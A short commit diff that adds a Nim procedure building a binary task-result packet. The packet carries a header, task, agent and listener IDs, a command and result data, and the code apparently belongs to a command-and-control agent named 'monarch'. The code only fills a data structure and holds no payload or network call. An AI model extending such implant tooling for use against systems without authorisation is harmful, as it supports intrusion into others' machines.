Implemented agent registration to match new binary structure instead of json.

src/agents/monarch/core/taskresult.nim

@@ -0,0 +1,25 @@
+import times 
+import ../../../common/[types, utils]
+
+proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, resultData: seq[byte]): TaskResult = 
+
+    return TaskResult(
+        header: Header(
+            magic: MAGIC,
+            version: VERSION, 
+            packetType: cast[uint8](MSG_RESPONSE),
+            flags: cast[uint16](FLAG_PLAINTEXT),
+            seqNr: 1'u32, # TODO: Implement sequence tracking
+            size: 0'u32,
+            hmac: default(array[16, byte])
+        ), 
+        taskId: task.taskId,
+        agentId: task.agentId,
+        listenerId: task.listenerId,
+        timestamp: uint32(now().toTime().toUnix()),
+        command: task.command,
+        status: cast[uint8](status),
+        resultType: cast[uint8](resultType),
+        length: uint32(resultData.len),
+        data: resultData,
+    )